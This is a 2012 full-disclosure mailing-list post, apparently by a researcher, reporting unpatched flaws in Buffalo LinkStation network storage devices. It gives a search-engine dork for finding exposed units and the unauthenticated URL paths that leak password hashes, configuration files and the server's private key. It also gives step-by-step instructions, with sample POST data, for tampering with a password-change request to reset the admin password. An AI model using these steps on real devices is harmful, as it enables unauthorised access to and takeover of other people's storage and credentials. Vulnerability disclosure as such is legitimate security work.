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Buffalo Technology LinkStation Information Disclosure And Privilege Escalation
From: Hurgel Bumpf <l0rd_lunatic () yahoo com>
Date: Fri, 30 Nov 2012 17:54:06 +0000 (GMT)
Release Date. 30-Nov-2012 Last Update. - Vendor Notification Date. 23.Dec.2011 Product. Linkstation & Others Platform. Buffalo Technology Affected versions. Including Actual Version Severity Rating. Medium Impact. Privilege escalation, Information Disclosure Attack Vector. From remote Solution Status. Don't use internet function aka. WebAccess CVE reference. CVE - not yet assigned Buffalo doesn't has a security department. They always forwarded me to sales, as they thought the will help me there better. Never received any answer. Tried over some other companies to reach Buffalo, but they are not interested in vulnerabilities. I waited one year and nothing happend. So here we go... Buffalo Linkstation Information Disclosure (Password, Certificate,..) + Google Dork +--->intitle:"LinkStation - LS-WTGL" Copyright 2002-2008 (There are better ways to find them..) [ WebAccess - Accessing shared folders via Browser. Disabled by default. Has to be enabled ] If you find them online, a WebAccess ist enabled by 99.9%.. No authentication needed to access the files! + Permission Settings (read) +---> x.x.x.x/modules/webaxs/module/files/perm.conf + Username & Password disclosure (htpasswd) +---> x.x.x.x/modules/webaxs/module/files/password + Lighttpd Config +---> x.x.x.x/modules/webaxs/module/files/lighttpd.conf + Lighttpd RSA Private & Public Key +---> x.x.x.x/modules/webaxs/module/files/host.pem Buffalo Linkstation Privilege Escalation (Admin Password Reset) After you cracked the htpassword, logon with a gained (unprivileged) username and reset the admin password. To do so just use temperdata or intercept on burp and try to change your password. Enable temper and press the button to change your password. In the POST request just change the User*Name fields with the name "admin". Make sure to keep the gSSS and gRRR as they are the "session cookies". Send the changed values and logon with the admin user again. Example: Post Data: hiddenPageId[user_add] txtUserEditName[admin] <--- Replace your username with admin here txtUserEditOldName[admin] <--- Replace your username with admin here txtUserEditPassword1st[reset] <-- Password of your favor txtUserEditPassword2nd[reset] <-- Password of your favor txtUserEditComment[] hiddenUserEditNameOld[admin] <--- Replace your username with admin here txtHelpSearch[] gPage[user] gMode[setup] gType[undefined] gKey[undefined] gSSS[3ae1c32d69ff7a83594d9daa9c776ad8] gRRR[666525125298680621] hiddenDummyText[dummy] Response Headers: Date[Fri, 09 Dec 2011 16:42:13 GMT] Server[Apache/1.3.34 (Unix)] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Expires[Thu, 01 Dec 1994 16:00:00 GMT] Pragma[no-cache] Keep-Alive[timeout=15, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] You can download a firmware Image and unzip it (zip password is all over the internet). There you will find more "features". It's just a very bad maintained linux. Bad filepermissions aso.. Buffalo: Your firmware is bad and you should feel bad! André _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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- Buffalo Technology LinkStation Information Disclosure And Privilege Escalation Hurgel Bumpf (Nov 30)